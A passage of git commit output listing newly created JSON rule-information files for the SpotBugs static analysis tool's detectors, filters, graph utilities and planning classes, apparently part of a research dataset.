Information/checkers/detect/ConfusionBetweenInheritedAndOuterMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConstructorThrow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CovariantArrayAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CrossSiteScripting.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DateFormatStringChecker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DeadLocalStoreProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DefaultEncodingDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoInsideDoPrivileged.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontAssertInstanceofInTests.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchIllegalMonitorStateException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchNullPointerException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontIgnoreResultOfPutIfAbsent.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontReusePublicIdentifiers.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseEnum.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseFloatsAsLoopCounters.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoomedCodeWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DroppedException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethodInvocations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DuplicateBranches.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EmptyZipFileEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EqualsOperandShouldHaveClassCompatibleWithThis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ExplicitSerialization.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FieldItemSummary.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FinalizerNullsFields.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindArgumentAssertions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindAssertionsWithSideEffects.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadCast2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadEndOfStreamCheck.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadForLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBugsSummaryStats.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindCircularDependencies.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindComparatorProblems.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDeadLocalStores.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDoubleCheck.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindEmptySynchronizedBlock.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFieldSelfAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFinalizeInvocations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatEquality.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatMath.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHEmismatch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHiddenMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInconsistentSync2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInstanceLockOnSharedStaticData.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindJSR166LockMonitorenter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindLocalSelfAssignment2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMaskedFields.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMismatchedWaitOrNotify.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNakedNotify.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNoSideEffectMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableStoreIntoSession.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableValuePassedToWriteObject.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonShortCircuit.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDeref.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDerefsInvolvingNonShortCircuitEvaluation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOpenStream.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindOverridableMethodCall.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPotentialSecurityCheckBasedOnUntrustedSource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPublicAttributes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindPuzzlers.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRefComparison.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindReturnRef.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRoughConstants.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRunInvocations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSleepWithLockHeld.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSpinLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSqlInjection.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindTwoLockWait.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUncalledPrivateMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnconditionalWait.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUninitializedGet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnrelatedTypesInGenericContainer.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnreleasedLock.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsatisfiedObligation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsyncGet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUseOfNonSerializableValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessControlFlow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessObjects.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindVulnerableSecurityCheckMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FormatStringChecker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FunctionsThatMightBeMistakenForProcedures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/HugeSharedStringConstants.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IDivResultCastToDouble.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IOStreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IncompatMask.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentSyncWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientIndexOf.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientInitializationInsideLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientMemberAccess.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientToArray.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteRecursiveLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InheritanceUnsafeGetResource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializationChain.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializeNonnullFieldsInConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstanceFieldLoadStreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstantiateStaticClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IntCast2LongAsInstant.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InvalidJUnitTest.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IteratorIdioms.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LazyInit.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LoadOfKnownNullValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LostLoggerDueToWeakReference.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnCheck.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnValueStreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Methods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultipleInstantiationsOfSingletons.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultithreadedInstanceAccess.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableEnum.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableLock.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MutableStaticFields.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Naming.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Noise.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoiseNullDeref.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NonNullReturnProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteAnnotationRetention.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteCheckReturnValueAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteDirectlyRelevantTypeQualifiers.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteJCIPAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonNullAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteNonnullReturnValues.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteSuppressedWarnings.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NoteUnconditionalParamDerefs.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullArgumentWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NullDerefProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/NumberConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OptionalReturnNull.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingEqualsNotSymmetrical.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/OverridingMethodsMustInvokeSuperDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PermissionsSuper.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PreferZeroLengthArrays.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicIdentifiers.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/PublicSemaphores.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/QuestionableBooleanAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReadReturnShouldBeChecked.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantConditions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RedundantInterfaces.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RefComparisonWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectionIncreaseAccessibility.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectiveClasses.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RepeatedConditionals.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResolveAllReferences.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResourceInMultipleThreadsDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RuntimeExceptionCapture.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SerializableIdiom.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SharedVariableAtomicityDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StartInConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticCalendarDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticFieldLoadStreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Stream.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEquivalenceClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEscape.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamResourceTracker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StringConcatenation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuperfluousInstanceOf.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuspiciousThreadInterrupted.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SwitchFallthrough.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizationOnSharedBuiltinConstant.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeAndNullCheckField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeOnClassLiteralNotGetClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizingOnContentsOfFieldToProtectField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestASM.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ThrowingExceptions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainFieldStoreTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainLongInstantfParams.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainNonNullAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainUnconditionalDerefParams.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TypeReturnNull.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/URLProblems.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UncallableMethodOfAnonymousClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryEnvUsage.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryMath.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFields.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFieldsData.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSubclassMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSuppressionDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VarArgsProblems.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ViewCFG.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VolatileUsage.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WaitInLoop.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WrongMapIterator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/XMLFactoryBypass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AndMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AnnotationMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/BugMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ClassMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/CompoundMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ConfidenceMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FieldMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Filter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FilterException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FirstVersionMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LastVersionMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LocalMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Matcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MemberMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MethodMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NameMatch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NotMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/OrMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/PriorityMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RankMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RelationalOp.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SignatureUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SourceMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/StringSetMatch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/TypeMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/VersionMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractDepthFirstSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractVertex.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DFSEdgeTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DepthFirstSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Graph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphToolkit.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphVertex.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/MergeVertices.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/ReverseDepthFirstSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTree.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeBuilder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/StronglyConnectedComponents.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Transpose.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexCombinator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VisitationTimeComparator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/AnalysisContextContained.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/DottedClassName.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/SlashedClassName.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/StaticConstant.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/IO.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/SlowInputStream.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEnumConstant.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEvents.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFScanner.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFSyntaxException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFToken.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFTokenKind.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ConsoleLogger.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/IProfiler.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/LogSync.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Logger.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ProfileSummary.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Profiler.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassFeatureSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriterUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/IdentityClassNameRewriter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/MovedClassMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/RegenerateClassFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassFinder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/AnalysisPass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ByInterfaceDetectorFactorySelector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorFactorySelector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorNode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorOrderingConstraint.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule 